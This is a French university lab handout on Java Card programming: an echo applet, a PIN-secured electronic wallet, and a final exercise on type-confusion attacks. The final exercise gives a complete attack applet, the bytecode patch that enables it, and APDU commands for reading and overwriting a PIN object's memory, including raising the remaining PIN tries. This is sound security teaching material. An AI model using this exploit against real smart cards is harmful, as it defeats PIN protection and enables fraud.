

Travaux pratiques Java Card

TP n°1 – Applet faisant un écho de l'entrée

TP n°2 – Porte-monnaie électronique simple sécurisé via un PIN

TP n°3 – Implémentation de confusions de types

Nous utiliserons dans cette série de TP l'environnement Eclipse avec le plugin JCOP déjà activé.

Je rappelle le fondement de Java, il n'y a pas d'arithmétique sur les types autres que numériques (et en Java Card sur les entiers). Pensez aux règles de base de génie logiciel, pas de constantes en dur dans le code, nommer correctement vos variables, etc.

Pour tous les TP, nous utiliserons des JCOP.

Pour charger dans la carte, on utilisera suivant les TP et les besoins soit Eclipse.

Procédure de création d'une application :

Donner un nom à votre projet, sélectionner les profils de votre carte (en général JC2.1.1 et OP2.0.1), à votre package et à votre applet. Donner également un AID à votre package et à l'applet (en le dérivant de celui du package).

Écrire le programme Java correspondant à la spécification. Pour ce faire, créer un projet Java Card (un projet par package). Le nom du projet et/ou des packages et applets n'ont pas de réelle importance c'est plus pour vous y retrouver.

Une fois l'application codée, vous la chargez sur la carte au travers du Run Configuration. Double cliquez sur Java Card Application et sélectionner le lecteur de carte comme destination et en avant « Run ».

À l'aide du shell de JCOP vous pouvez échanger avec la carte via des commandes prédéfinies ou directement vos APDU. Vérifiez le bon fonctionnement de votre application.

Si vous rencontrez des erreurs n'hésitez pas à me les signaler :
damien.sauveron@unilim.fr

Applet faisant un écho de l'entrée

Objectif : Connaissance des outils de gestion des applications (loader, debugger, script), de la chaîne de compilation et de conversion, écriture d'une applet Java Card, définition de l'AID, utilisation de l'API `javacard.framework` et compréhension de la communication carte/lecteur (réception de commande APDU et d'envoi de réponse APDU et de Status Word – SW).

Les spécifications de cette applet sont les suivantes :

- Si les deux premiers octets de la commande APDU sont égaux à 0x80 alors la carte renverra seulement 0x6B 0x00 (pour cela on utilisera la classe `ISOException`).
- Sinon on réalise un écho de l'APDU reçu.

Voici le code minimale d'une applet en Java Card.

```
package fr.cryptis.nullapp;
import javacard.framework.*;
public class NullApp extends Applet
{
    protected NullApp()
    {
        // Insérer ici les initialisations
    }

    public static void install(byte[] bArray, short bOffset, byte bLength) throws ISOException
    {
        new NullApp().register();
    }

    public void process(APDU apdu) throws ISOException
    {
        // Insérer ici le code métier
    }
}
```

On compilera puis convertira l'applet d'écho obtenue pour ensuite la charger sur la carte. Son installation se fait en deux phases qui sont le chargement et l'instanciation (appel à la méthode statique `install`).

Porte-monnaie électronique simple sécurisé via un PIN

Objectif : Connaissance des outils de gestion des applications (loader, debugger, script), de la chaîne de compilation et de conversion, écriture d'une applet Java Card, définition de l'AID, utilisation de l'API `javacard.framework`.

Les spécifications de cette applet sont les suivantes :

- Elle comportera une balance (le solde) exprimé sous forme d'un `short` qui devra toujours rester positive et qui ne dépassera pas la limite maximale du format de stockage.
- Elle comportera un PIN qui devra être vérifié pour les opérations de crédit et de débit. On utilisera pour ce PIN la classe `OwnerPIN` qui fait tout le travail de gestion du PIN pour nous et de manière sécurisée. Nous le fixerons à 8 octets la longueur et à 3 le nombre maximal d'essai consécutifs faux. La valeur du PIN sera fixée lors de l'opération d'installation afin de pouvoir le personnaliser pour chaque carte.
- Elle acceptera 4 commandes `GET_BALANCE`, `CREDIT`, `DEBIT` et `VERIFY` :
 - `GET_BALANCE` renverra le solde ;

GET BALANCE APDU command						
Command APDU						
CLA	INS	P1	P2	Lc	Data field	Le
0x80	0x50	0x0	0x0	N/A	N/A	2
Response APDU						
Optional data		Status word	Meaning of status word			
Balance value		0x9000	Successful processing			

- `VERIFY` permettra de proposer un PIN à vérifier ;

VERIFY APDU command						
Command APDU						
CLA	INS	P1	P2	Lc	Data field	Le
0x80	0x20	0x0	0x0	Length of the PIN data	PIN data	N/A
• CLA byte denotes the structure of the command • INS byte (0x20) indicates a verify instruction • P1 and P2 are not used, and are both set to 0 • The data field contains the PIN value						
Optional data		Status word	Meaning of status word			
N/A		0x9000	Successful processing			
		0x6300	Verification failed			

- CREDIT permettra de créditer la balance et ne fonctionnera que si le PIN a été vérifié avec succès ;

CREDIT APDU command						
Command APDU						
CLA	INS	P1	P2	Lc	Data field	Le
0x80	0x30	0x0	0x0	1	Credit amount	N/A
The data field contains the credit amount						
Response APDU						
Optional data		Status word		Meaning of status word		
N/A		0x9000		Successful processing		
		0x6301		PIN verification required		
		0x6A83		Invalid credit amount		
		0x6A84		Exceed the maximum amount		

- DEBIT permettra de débiter la balance et ne fonctionnera que si le PIN a été vérifié avec succès.

DEBIT APDU command						
Command APDU						
CLA	INS	P1	P2	Lc	Data field	Le
0x80	0x40	0x0	0x0	1	Debit amount	N/A
The data field contains the debit amount						
Response APDU						
Optional data		Status word		Meaning of status word		
N/A		0x9000		Successful processing		
		0x6301		PIN verification required		
		0x6A83		Invalid debit amount		
		0x6A85		Negative balance		

Il suffit donc de programmer cette application simple. Vous trouverez dans la classe `Util` des méthodes intéressantes pour la manipulation de `short` et de tableau de `bytes`. L'interface `ISO7816` dans le paquetage `javacard.framework` contient déjà beaucoup des constantes dont vous aurez besoin pour retourner les erreurs.

Implémentation de confusions de types

Objectif : Implémentation d'attaques de confusions de types. Test sur émulateur et sur des cartes afin de voir si elles fonctionnent ou pas. Réflexion sur l'implémentation des objets sur la carte.

Reprendre le code ci-après et essayer de réaliser une confusion de type entre un `byte[]` et un `short[]`. Puis entre un `Object` et un `byte[]` ou un `short[]`. Il suffit de modifier le bytecode généré pour les fonctions `doConfBAtoSA`, `doConfObjtoBA` et `doConfObjtoSA`.

```
package fr.sauveron.damien.confusion;
import javacard.framework.*;
public class Confusion extends Applet {
    final static byte READ_BYTE_ARRAY = (byte) 0x10;
    final static byte DO_CONF_BYTE_ARRAY_TO_SHORT_ARRAY = (byte) 0x12;
    final static byte READ_SHORT_ARRAY = (byte) 0x14;
    final static byte SET_PIN_VALUE = (byte) 0x20;
    final static byte DO_CONF_PIN_TO_BYTE_ARRAY = (byte) 0x22;
    final static byte READ_PIN_AS_BYTE_ARRAY = (byte) 0x24;
    final static byte WRITE_PIN_AS_BYTE_ARRAY = (byte) 0x26;
    final static byte DO_CONF_PIN_TO_SHORT_ARRAY = (byte) 0x32;
    final static byte READ_PIN_AS_SHORT_ARRAY = (byte) 0x34;
    final static byte WRITE_PIN_AS_SHORT_ARRAY = (byte) 0x36;
    final static byte VERIFY_PIN_VALUE = (byte) 0x28;
    final static byte PIN_TRY_REMAINING = (byte) 0x2A;

    byte[] ba;
    OwnerPIN pin;
    short[] sa;
    byte[] ba2;

    public Confusion() {
        ba = new byte[127];
        for (byte i = 0; i<127;i++)
            ba[i]=i;
        pin = new OwnerPIN((byte)0x04, (byte)0x08);
    }

    public static void install(byte[] bArray, short bOffset, byte bLength) {
        // GP-compliant JavaCard applet registration
        new Confusion()
            .register(bArray, (short) (bOffset + 1), bArray[bOffset]);
    }

    public void process(APDU apdu) {
        // Good practice: Return 9000 on SELECT
        if (selectingApplet()) {
            return;
        }

        byte[] buf = apdu.getBuffer();
        short len;
        short of=0;

        switch (buf[ISO7816.OFFSET_INS]) {
            case READ_BYTE_ARRAY:
                len = (short) (buf[ISO7816.OFFSET_P1]&0x00FF);
                for (byte i = 0; i<len;i++)
                    buf[i]=ba[i];
                apdu.setOutgoingAndSend((short)0, len);
                break;
            case DO_CONF_BYTE_ARRAY_TO_SHORT_ARRAY:
                sa = doConfBAtoSA(sa, ba);
                break;
            case READ_SHORT_ARRAY:
                len = (short) (buf[ISO7816.OFFSET_P1]&0x00FF);
```

```

        for (byte i = 0; i<len;i++)
            of = Util.setShort(buf, of, sa[i]);
        apdu.setOutgoingAndSend((short)0, of);
        break;
    case SET_PIN_VALUE:
        len = apdu.setIncomingAndReceive();
        pin.update(buf, ISO7816.OFFSET_CDATA, (byte) len);
        break;
    case DO_CONF_PIN_TO_BYTE_ARRAY:
        ba2 = doConfObjtoBA(ba2,pin);
        break;
    case READ_PIN_AS_BYTE_ARRAY:
        len = (short) (buf[ISO7816.OFFSET_P1]&0x00FF);
        for (byte i = 0; i<len;i++)
            buf[i]=ba2[i];
        apdu.setOutgoingAndSend((short)0, len);
        break;
    case WRITE_PIN_AS_BYTE_ARRAY:
        len = apdu.setIncomingAndReceive();
        of = (short) (buf[ISO7816.OFFSET_P2]&0x00FF);
        for (byte i = 0; i<len;i++)
            ba2[i+of]=buf[i+ISO7816.OFFSET_CDATA];
        break;
    case DO_CONF_PIN_TO_SHORT_ARRAY:
        sa = doConfObjtoSA(sa,pin);
        break;
    case READ_PIN_AS_SHORT_ARRAY:
        len = (short) (buf[ISO7816.OFFSET_P1]&0x00FF);
        for (byte i = 0; i<len;i++)
            of = Util.setShort(buf, of, sa[i]);
        apdu.setOutgoingAndSend((short)0, of);
        break;
    case WRITE_PIN_AS_SHORT_ARRAY:
        len = apdu.setIncomingAndReceive();
        of = (short) (buf[ISO7816.OFFSET_P2]&0x00FF);
        for (byte i = 0; i<len/2;i++)
            sa[i+of]=Util.getShort(buf, (short)
                (2*i+ISO7816.OFFSET_CDATA));
        break;
    case VERIFY_PIN_VALUE:
        len = apdu.setIncomingAndReceive();
        if (!pin.check(buf, ISO7816.OFFSET_CDATA, (byte) len))
            ISOException.throwIt((short) (0x6300+pin.getTriesRemaining()));
        break;
    case PIN_TRY_REMAINING:
        buf[0] = pin.getTriesRemaining();
        apdu.setOutgoingAndSend((short)0, (short)1);
        break;
    default:
        // good practice: If you don't know the INstruction, say so:
        ISOException.throwIt(ISO7816.SW_INS_NOT_SUPPORTED);
    }
}

private static short[] doConfBAtoSA(short[] dst, byte[] src) {
    // You will have to modify generated bytecodes
    return dst;
}

private static byte[] doConfObjtoBA(byte[] dst, Object src) {
    // You will have to modify generated bytecodes
    return dst;
}

private static short[] doConfObjtoSA(short[] dst, Object src) {
    // You will have to modify generated bytecodes

```

```
        return dst;
    }
}
```

Voici les séquences APDU à envoyer :

/select <AID>

/send 0010000000

/send 0012000000

/send 0014xx0000 où xx est le nombre short à lire

Pour initialiser le PIN :

/send 00200000081122334455667788

/send 0022000000

/send 0024xx0000 où xx est le nombre byte à lire

/send 0032000000

/send 0034xx0000 où xx est le nombre short à lire

Pour vérifier le PIN

/send 00280000081122334455667777 donc ici un mauvais PIN

Pour vérifier le nombre d'essais restant

/send 002A000000

Pour lire encore après une erreur de présentation de PIN

/send 0034xx0000 où xx est le nombre short à lire

Pour écrire dans la mémoire en tant que short[]

/send 003600xxLC[DATA] où 00xx est l'offset dans le tableau et DATA est les data à écrire et LC la longueur.

Vous pouvez l'utilisez pour vous augmenter votre nombre d'essais

Notons qu'il suffira de remplacer dans les trois méthodes de classe

01 20 18 77 où 18 77 correspond à la séquence de bytecode aload_0 areturn
par

01 20 19 77 où 19 77 correspond à la séquence de bytecode aload_1 areturn